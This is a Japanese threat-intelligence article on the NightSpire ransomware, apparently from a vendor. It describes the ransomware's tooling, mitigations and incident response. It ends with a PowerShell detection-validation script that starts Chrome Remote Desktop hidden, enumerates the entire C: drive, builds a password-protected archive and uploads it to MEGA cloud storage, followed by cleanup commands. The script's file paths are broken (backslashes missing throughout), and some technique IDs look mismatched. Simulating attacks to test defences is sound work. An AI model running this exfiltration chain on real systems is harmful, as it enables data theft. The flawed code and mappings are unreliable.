NightSpireランサムウェア攻撃チェーン、ツールと戦術

概要

NightSpireは、2025年初頭に初めて観測されたGoベースのランサムウェアファミリーで、暗号化前にデータを盗み、Torベースのリークサイトでの公開を脅かすダブルエクストーションモデルを使用しています。ランサムウェアは .nspire という拡張子を暗号化されたファイルに追加し、影響を受けた各ディレクトリに身代金要求メモを配置します。OneDriveに関連するフォルダも含まれます。オペレーターはアクセスを維持するために正当なリモート管理ツールを利用し、発見、アーカイブ、データ流出のために公開されているユーティリティを使用します。2025年3月から6月の間に、このキャンペーンは33か国の少なくとも64の組織に影響を与えました。

調査

調査の結果、攻撃者は一般的に露出したRDPを通じて初期アクセスを得てから、Chrome Remote DesktopとAnyDeskを持続的なサービスとしてインストールすることが多いことが示されました。彼らはEverythingを使用してファイルを素早く見つけ、7-Zipを使ってパスワード保護されたアーカイブを作成し、MEGAsyncを使って盗んだデータをMEGAクラウドストレージにアップロードしました。Goベースの暗号化機は conhost.exeの下で実行され、利用可能な全てのドライブを列挙し、OneDriveのファイル名を変更せずにファイルを暗号化しました。エクストーションフェーズでは、データ流出後に被害者に圧力をかけるために使用されるTorホストのリークサイトに依存しています。

緩和策

組織は、直接のRDP露出を減らすか排除し、サービスとしての正当なリモート管理ツールの予期しない展開を監視し、Chrome Remote DesktopやAnyDeskのようなバイナリにアプリケーション許可リストを適用すべきです。行動検出は大量のファイル列挙、アーカイブの作成、クラウドストレージサービスへの不正なアップロードに焦点を当てるべきです。定期的なバックアップやテスト済みの回復手順は重要であり、ネットワーク制御は既知のMEGAアップロードエンドポイントをブロックすべきです。Picusが提供する制御されたランサムウェアシミュレーション演習を通じて防御を検証することもできます。

対応

NightSpireの活動が検出された場合、直ちに影響を受けたエンドポイントを隔離し、暗号化プロセスを終了して、揮発性メモリを収集して分析します。不正なサービスを無効にし、持続化したリモートアクセスツールを削除し、関連するネットワーク通信をブロックします。回復は信頼できるバックアップから行い、関連する利害関係者に通知します。インシデントは法執行機関にも報告されるべきで、ディフェンダーは公開データの兆候に対してTorリークサイトの監視を継続する必要があります。

シミュレーション実行

前提条件: テレメトリとベースラインの飛行前チェックが通過している必要があります。

合理性: このセクションは、検出ルールを引き起こすように設計された敵の技術 (TTP) を正確に実行する様子を詳細に説明します。コマンドと物語は、特定されたTTPs を直接反映し、検出ロジックによって期待される正確なテレメトリを生成することを目指します。抽象的または無関係な例は誤診につながります。

• 攻撃の物語とコマンド:

  1. 持続性の設定 (T1547 / T1219): Chrome Remote Desktopをデフォルトのパスにインストールし、持続的なリモート制御を得るためにサービスを開始します。
  2. 探索 (T1083): Everything.exeを使用してC:ドライブの全ファイルを列挙し、出力を一時リストに保存します。
  3. アーカイブ (T1037 / T1083): 7-Zipを呼び出して、発見されたファイルをパスワードで保護したアーカイブに圧縮します。
  4. 流出 (T1219.003): MEGAsyncを起動して、アーカイブをMEGA アカウントにアップロードします。

  この順序により、 選択_リモートアクセス (Chrome Remote Desktop)がアクティブな状態で 選択_発見, 選択_アーカイブ、または 選択_流出 のいずれかが発生し、ルールの条件を満たします。

• 回帰テストスクリプト:

  # -------------------------------------------------------------------------
  # NightSpire Lateral Persistence & Exfiltration Simulation
  # -------------------------------------------------------------------------
  # 前提条件:
  #   - Chrome Remote Desktopがデフォルトのパスにインストールされています
  #   - Everything.exeがデフォルトのパスにインストールされています
  #   - 7z.exeがデフォルトのパスにインストールされています
  #   - MEGAsyncがデフォルトのユーザープロファイルパスにインストールされています
  # -------------------------------------------------------------------------
  
  # 1. Chrome Remote Desktopサービスが実行中であることを確認します (持続性をシミュレートします)
  $crdPath = "$Env:ProgramFiles(x86)GoogleChrome Remote Desktop147.0.7727.3remoting_host.exe"
  if (Test-Path $crdPath) {
      Start-Process -FilePath $crdPath -ArgumentList "--start-service" -WindowStyle Hidden
      Write-Host "Chrome Remote Desktopサービスが開始されました。"
  } else {
      Write-Error "Chrome Remote Desktopが$crdPathに見つかりません"
      exit 1
  }
  
  # 2. Everythingでファイルを探索します
  $everythingPath = "$Env:ProgramFilesEverythingEverything.exe"
  $discoveryOutput = "$env:TEMPfilelist.txt"
  if (Test-Path $everythingPath) {
      & $everythingPath -search "C:" -output $discoveryOutput
      Write-Host "探索完了、結果は$discoveryOutputに保存されます"
  } else {
      Write-Error "Everything.exeが$everythingPathに見つかりません"
      exit 1
  }
  
  # 3. 7-Zipで発見されたファイルをアーカイブします
  $sevenZipPath = "$Env:ProgramFiles7-Zip7z.exe"
  $archivePath   = "$env:TEMPexfil_archive.zip"
  if (Test-Path $sevenZipPath) {
      & $sevenZipPath a -tzip $archivePath "@$discoveryOutput" -p"StrongP@ssw0rd!"
      Write-Host "アーカイブが$archivePathに作成されました"
  } else {
      Write-Error "7z.exeが$sevenZipPathに見つかりません"
      exit 1
  }
  
  # 4. MEGAsyncを介してアーカイブをアップロードします (流出)
  $megaPath = "$Env:LOCALAPPDATAMEGAsyncMEGAsync.exe"
  if (Test-Path $megaPath) {
      & $megaPath --upload $archivePath
      Write-Host "MEGAsyncを介したアップロードが開始されました。"
  } else {
      Write-Error "MEGAsync.exeが$megaPathに見つかりません"
      exit 1
  }
  
  # シミュレーション終了

• クリーンアップコマンド:

  # Chrome Remote Desktopサービスを停止
  Stop-Process -Name "remoting_host" -Force -ErrorAction SilentlyContinue
  
  # 一時ファイルを削除
  Remove-Item -Path "$env:TEMPfilelist.txt" -Force -ErrorAction SilentlyContinue
  Remove-Item -Path "$env:TEMPexfil_archive.zip" -Force -ErrorAction SilentlyContinue
  
  # 必要に応じて実行中のMEGAsyncを停止
  Stop-Process -Name "MEGAsync" -Force -ErrorAction SilentlyContinue